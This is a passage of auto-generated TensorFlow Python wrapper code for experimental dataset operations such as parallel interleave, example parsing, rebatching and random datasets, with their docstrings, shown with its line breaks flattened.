outputs of `input_dataset`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. preserve_cardinality: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalNumaMapAndBatchDataset", name, _ctx._post_execution_callbacks, input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, "f", f, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) return _result except _core._FallbackException: try: return experimental_numa_map_and_batch_dataset_eager_fallback( input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_numa_map_and_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_numa_map_and_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalNumaMapAndBatchDataset", input_dataset=input_dataset, other_arguments=other_arguments, batch_size=batch_size, num_parallel_calls=num_parallel_calls, drop_remainder=drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("f", _op.get_attr("f"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "preserve_cardinality", _op.get_attr("preserve_cardinality")) _execute.record_gradient( "ExperimentalNumaMapAndBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalNumaMapAndBatchDataset(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None): return experimental_numa_map_and_batch_dataset(input_dataset=input_dataset, other_arguments=other_arguments, batch_size=batch_size, num_parallel_calls=num_parallel_calls, drop_remainder=drop_remainder, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) ExperimentalNumaMapAndBatchDataset.__doc__ = experimental_numa_map_and_batch_dataset.__doc__ ExperimentalNumaMapAndBatchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalNumaMapAndBatchDataset)) tf_export("raw_ops.ExperimentalNumaMapAndBatchDataset")(ExperimentalNumaMapAndBatchDataset) def experimental_numa_map_and_batch_dataset_eager_fallback(input_dataset, other_arguments, batch_size, num_parallel_calls, drop_remainder, f, output_types, output_shapes, preserve_cardinality=False, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_numa_map_and_batch_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_numa_map_and_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_numa_map_and_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) batch_size = _ops.convert_to_tensor(batch_size, _dtypes.int64) num_parallel_calls = _ops.convert_to_tensor(num_parallel_calls, _dtypes.int64) drop_remainder = _ops.convert_to_tensor(drop_remainder, _dtypes.bool) _inputs_flat = [input_dataset] + list(other_arguments) + [batch_size, num_parallel_calls, drop_remainder] _attrs = ("f", f, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) _result = _execute.execute(b"ExperimentalNumaMapAndBatchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalNumaMapAndBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_parallel_interleave_dataset(input_dataset, other_arguments, cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements, f, output_types, output_shapes, name=None): r"""Creates a dataset that applies `f` to the outputs of `input_dataset`. The resulting dataset is similar to the `InterleaveDataset`, with the exception that if retrieving the next value from a dataset would cause the requester to block, it will skip that input dataset. This dataset is especially useful when loading data from a variable-latency datastores (e.g. HDFS, GCS), as it allows the training step to proceed so long as some data is available. !! WARNING !! This dataset is not deterministic! Args: input_dataset: A `Tensor` of type `variant`. other_arguments: A list of `Tensor` objects. cycle_length: A `Tensor` of type `int64`. block_length: A `Tensor` of type `int64`. sloppy: A `Tensor` of type `bool`. buffer_output_elements: A `Tensor` of type `int64`. prefetch_input_elements: A `Tensor` of type `int64`. f: A function decorated with @Defun. A function mapping elements of `input_dataset`, concatenated with `other_arguments`, to a Dataset variant that contains elements matching `output_types` and `output_shapes`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalParallelInterleaveDataset", name, _ctx._post_execution_callbacks, input_dataset, other_arguments, cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements, "f", f, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_parallel_interleave_dataset_eager_fallback( input_dataset, other_arguments, cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements, f=f, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_parallel_interleave_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_parallel_interleave_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalParallelInterleaveDataset", input_dataset=input_dataset, other_arguments=other_arguments, cycle_length=cycle_length, block_length=block_length, sloppy=sloppy, buffer_output_elements=buffer_output_elements, prefetch_input_elements=prefetch_input_elements, f=f, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("f", _op.get_attr("f"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalParallelInterleaveDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalParallelInterleaveDataset(input_dataset, other_arguments, cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements, f, output_types, output_shapes, name=None): return experimental_parallel_interleave_dataset(input_dataset=input_dataset, other_arguments=other_arguments, cycle_length=cycle_length, block_length=block_length, sloppy=sloppy, buffer_output_elements=buffer_output_elements, prefetch_input_elements=prefetch_input_elements, f=f, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalParallelInterleaveDataset.__doc__ = experimental_parallel_interleave_dataset.__doc__ ExperimentalParallelInterleaveDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalParallelInterleaveDataset)) tf_export("raw_ops.ExperimentalParallelInterleaveDataset")(ExperimentalParallelInterleaveDataset) def experimental_parallel_interleave_dataset_eager_fallback(input_dataset, other_arguments, cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements, f, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_parallel_interleave_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_parallel_interleave_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_parallel_interleave_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) cycle_length = _ops.convert_to_tensor(cycle_length, _dtypes.int64) block_length = _ops.convert_to_tensor(block_length, _dtypes.int64) sloppy = _ops.convert_to_tensor(sloppy, _dtypes.bool) buffer_output_elements = _ops.convert_to_tensor(buffer_output_elements, _dtypes.int64) prefetch_input_elements = _ops.convert_to_tensor(prefetch_input_elements, _dtypes.int64) _inputs_flat = [input_dataset] + list(other_arguments) + [cycle_length, block_length, sloppy, buffer_output_elements, prefetch_input_elements] _attrs = ("f", f, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalParallelInterleaveDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalParallelInterleaveDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_parse_example_dataset(input_dataset, num_parallel_calls, dense_defaults, sparse_keys, dense_keys, sparse_types, dense_shapes, output_types, output_shapes, sloppy=False, name=None): r"""Transforms `input_dataset` containing `Example` protos as vectors of DT_STRING into a dataset of `Tensor` or `SparseTensor` objects representing the parsed features. Args: input_dataset: A `Tensor` of type `variant`. num_parallel_calls: A `Tensor` of type `int64`. dense_defaults: A list of `Tensor` objects with types from: `float32`, `int64`, `string`. A dict mapping string keys to `Tensor`s. The keys of the dict must match the dense_keys of the feature. sparse_keys: A list of `strings`. A list of string keys in the examples features. The results for these keys will be returned as `SparseTensor` objects. dense_keys: A list of `strings`. A list of Ndense string Tensors (scalars). The keys expected in the Examples features associated with dense values. sparse_types: A list of `tf.DTypes` from: `tf.float32, tf.int64, tf.string`. A list of `DTypes` of the same length as `sparse_keys`. Only `tf.float32` (`FloatList`), `tf.int64` (`Int64List`), and `tf.string` (`BytesList`) are supported. dense_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`). List of tuples with the same length as `dense_keys`. The shape of the data for each dense feature referenced by `dense_keys`. Required for any input tensors identified by `dense_keys`. Must be either fully defined, or may contain an unknown first dimension. An unknown first dimension means the feature is treated as having a variable number of blocks, and the output shape along this dimension is considered unknown at graph build time. Padding is applied for minibatch elements smaller than the maximum number of blocks for the given feature along this dimension. output_types: A list of `tf.DTypes` that has length `>= 1`. The type list for the return values. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. The list of shapes being produced. sloppy: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalParseExampleDataset", name, _ctx._post_execution_callbacks, input_dataset, num_parallel_calls, dense_defaults, "sparse_keys", sparse_keys, "dense_keys", dense_keys, "sparse_types", sparse_types, "dense_shapes", dense_shapes, "output_types", output_types, "output_shapes", output_shapes, "sloppy", sloppy) return _result except _core._FallbackException: try: return experimental_parse_example_dataset_eager_fallback( input_dataset, num_parallel_calls, dense_defaults, sparse_keys=sparse_keys, dense_keys=dense_keys, sparse_types=sparse_types, dense_shapes=dense_shapes, output_types=output_types, output_shapes=output_shapes, sloppy=sloppy, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(sparse_keys, (list, tuple)): raise TypeError( "Expected list for 'sparse_keys' argument to " "'experimental_parse_example_dataset' Op, not %r." % sparse_keys) sparse_keys = [_execute.make_str(_s, "sparse_keys") for _s in sparse_keys] if not isinstance(dense_keys, (list, tuple)): raise TypeError( "Expected list for 'dense_keys' argument to " "'experimental_parse_example_dataset' Op, not %r." % dense_keys) dense_keys = [_execute.make_str(_s, "dense_keys") for _s in dense_keys] if not isinstance(sparse_types, (list, tuple)): raise TypeError( "Expected list for 'sparse_types' argument to " "'experimental_parse_example_dataset' Op, not %r." % sparse_types) sparse_types = [_execute.make_type(_t, "sparse_types") for _t in sparse_types] if not isinstance(dense_shapes, (list, tuple)): raise TypeError( "Expected list for 'dense_shapes' argument to " "'experimental_parse_example_dataset' Op, not %r." % dense_shapes) dense_shapes = [_execute.make_shape(_s, "dense_shapes") for _s in dense_shapes] if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_parse_example_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_parse_example_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if sloppy is None: sloppy = False sloppy = _execute.make_bool(sloppy, "sloppy") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalParseExampleDataset", input_dataset=input_dataset, num_parallel_calls=num_parallel_calls, dense_defaults=dense_defaults, sparse_keys=sparse_keys, dense_keys=dense_keys, sparse_types=sparse_types, dense_shapes=dense_shapes, output_types=output_types, output_shapes=output_shapes, sloppy=sloppy, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("sparse_keys", _op.get_attr("sparse_keys"), "dense_keys", _op.get_attr("dense_keys"), "sparse_types", _op.get_attr("sparse_types"), "Tdense", _op.get_attr("Tdense"), "dense_shapes", _op.get_attr("dense_shapes"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "sloppy", _op.get_attr("sloppy")) _execute.record_gradient( "ExperimentalParseExampleDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalParseExampleDataset(input_dataset, num_parallel_calls, dense_defaults, sparse_keys, dense_keys, sparse_types, dense_shapes, output_types, output_shapes, sloppy=False, name=None): return experimental_parse_example_dataset(input_dataset=input_dataset, num_parallel_calls=num_parallel_calls, dense_defaults=dense_defaults, sparse_keys=sparse_keys, dense_keys=dense_keys, sparse_types=sparse_types, dense_shapes=dense_shapes, output_types=output_types, output_shapes=output_shapes, sloppy=sloppy, name=name) ExperimentalParseExampleDataset.__doc__ = experimental_parse_example_dataset.__doc__ ExperimentalParseExampleDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalParseExampleDataset)) tf_export("raw_ops.ExperimentalParseExampleDataset")(ExperimentalParseExampleDataset) def experimental_parse_example_dataset_eager_fallback(input_dataset, num_parallel_calls, dense_defaults, sparse_keys, dense_keys, sparse_types, dense_shapes, output_types, output_shapes, sloppy=False, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_parse_example_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(sparse_keys, (list, tuple)): raise TypeError( "Expected list for 'sparse_keys' argument to " "'experimental_parse_example_dataset' Op, not %r." % sparse_keys) sparse_keys = [_execute.make_str(_s, "sparse_keys") for _s in sparse_keys] if not isinstance(dense_keys, (list, tuple)): raise TypeError( "Expected list for 'dense_keys' argument to " "'experimental_parse_example_dataset' Op, not %r." % dense_keys) dense_keys = [_execute.make_str(_s, "dense_keys") for _s in dense_keys] if not isinstance(sparse_types, (list, tuple)): raise TypeError( "Expected list for 'sparse_types' argument to " "'experimental_parse_example_dataset' Op, not %r." % sparse_types) sparse_types = [_execute.make_type(_t, "sparse_types") for _t in sparse_types] if not isinstance(dense_shapes, (list, tuple)): raise TypeError( "Expected list for 'dense_shapes' argument to " "'experimental_parse_example_dataset' Op, not %r." % dense_shapes) dense_shapes = [_execute.make_shape(_s, "dense_shapes") for _s in dense_shapes] if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_parse_example_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_parse_example_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if sloppy is None: sloppy = False sloppy = _execute.make_bool(sloppy, "sloppy") _attr_Tdense, dense_defaults = _execute.convert_to_mixed_eager_tensors(dense_defaults, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) num_parallel_calls = _ops.convert_to_tensor(num_parallel_calls, _dtypes.int64) _inputs_flat = [input_dataset, num_parallel_calls] + list(dense_defaults) _attrs = ("sparse_keys", sparse_keys, "dense_keys", dense_keys, "sparse_types", sparse_types, "Tdense", _attr_Tdense, "dense_shapes", dense_shapes, "output_types", output_types, "output_shapes", output_shapes, "sloppy", sloppy) _result = _execute.execute(b"ExperimentalParseExampleDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalParseExampleDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_private_thread_pool_dataset(input_dataset, num_threads, output_types, output_shapes, name=None): r"""Creates a dataset that uses a custom thread pool to compute `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. num_threads: A `Tensor` of type `int64`. Identifies the number of threads to use for the private threadpool. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalPrivateThreadPoolDataset", name, _ctx._post_execution_callbacks, input_dataset, num_threads, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_private_thread_pool_dataset_eager_fallback( input_dataset, num_threads, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_private_thread_pool_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_private_thread_pool_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalPrivateThreadPoolDataset", input_dataset=input_dataset, num_threads=num_threads, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalPrivateThreadPoolDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalPrivateThreadPoolDataset(input_dataset, num_threads, output_types, output_shapes, name=None): return experimental_private_thread_pool_dataset(input_dataset=input_dataset, num_threads=num_threads, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalPrivateThreadPoolDataset.__doc__ = experimental_private_thread_pool_dataset.__doc__ ExperimentalPrivateThreadPoolDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalPrivateThreadPoolDataset)) tf_export("raw_ops.ExperimentalPrivateThreadPoolDataset")(ExperimentalPrivateThreadPoolDataset) def experimental_private_thread_pool_dataset_eager_fallback(input_dataset, num_threads, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_private_thread_pool_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_private_thread_pool_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_private_thread_pool_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) num_threads = _ops.convert_to_tensor(num_threads, _dtypes.int64) _inputs_flat = [input_dataset, num_threads] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalPrivateThreadPoolDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalPrivateThreadPoolDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_random_dataset(seed, seed2, output_types, output_shapes, name=None): r"""Creates a Dataset that returns pseudorandom numbers. Args: seed: A `Tensor` of type `int64`. A scalar seed for the random number generator. If either seed or seed2 is set to be non-zero, the random number generator is seeded by the given seed. Otherwise, a random seed is used. seed2: A `Tensor` of type `int64`. A second scalar seed to avoid seed collision. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalRandomDataset", name, _ctx._post_execution_callbacks, seed, seed2, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_random_dataset_eager_fallback( seed, seed2, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_random_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_random_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalRandomDataset", seed=seed, seed2=seed2, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalRandomDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalRandomDataset(seed, seed2, output_types, output_shapes, name=None): return experimental_random_dataset(seed=seed, seed2=seed2, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalRandomDataset.__doc__ = experimental_random_dataset.__doc__ ExperimentalRandomDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalRandomDataset)) tf_export("raw_ops.ExperimentalRandomDataset")(ExperimentalRandomDataset) def experimental_random_dataset_eager_fallback(seed, seed2, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_random_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_random_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_random_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] seed = _ops.convert_to_tensor(seed, _dtypes.int64) seed2 = _ops.convert_to_tensor(seed2, _dtypes.int64) _inputs_flat = [seed, seed2] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalRandomDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalRandomDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_rebatch_dataset(input_dataset, num_workers, output_types, output_shapes, name=None): r"""Creates a dataset that changes the batch size. Creates a dataset that changes the batch size of the dataset to current batch size // num_workers. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. num_workers: A `Tensor` of type `int64`. A scalar representing the number of workers to distribute this batch across. As a result of this transformation the current batch size would end up being divided by this parameter. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalRebatchDataset", name, _ctx._post_execution_callbacks, input_dataset, num_workers, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_rebatch_dataset_eager_fallback( input_dataset, num_workers, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_rebatch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_rebatch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalRebatchDataset", input_dataset=input_dataset, num_workers=num_workers, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalRebatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalRebatchDataset(input_dataset, num_workers, output_types, output_shapes, name=None): return experimental_rebatch_dataset(input_dataset=input_dataset, num_workers=num_workers, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalRebatchDataset.__doc__ = experimental_rebatch_dataset.__doc__ ExperimentalRebatchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalRebatchDataset)) tf_export("raw_ops.ExperimentalRebatchDataset")(ExperimentalRebatchDataset) def experimental_rebatch_dataset_eager_fallback(input_dataset, num_workers, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_rebatch_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_rebatch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_rebatch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) num_workers = _ops.convert_to_tensor(num_workers, _dtypes.int64) _inputs_flat = [input_dataset, num_workers] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalRebatchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalRebatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_scan_dataset(input_dataset, initial_state, other_arguments, f, output_types, output_shapes, preserve_cardinality=False, name=None): r"""Creates a dataset successively reduces `f` over the elements of `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. initial_state: A list of `Tensor` objects. other_arguments: A list of `Tensor` objects. f: A function decorated with @Defun. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. preserve_cardinality: An optional `bool`. Defaults to `False`. name: A name 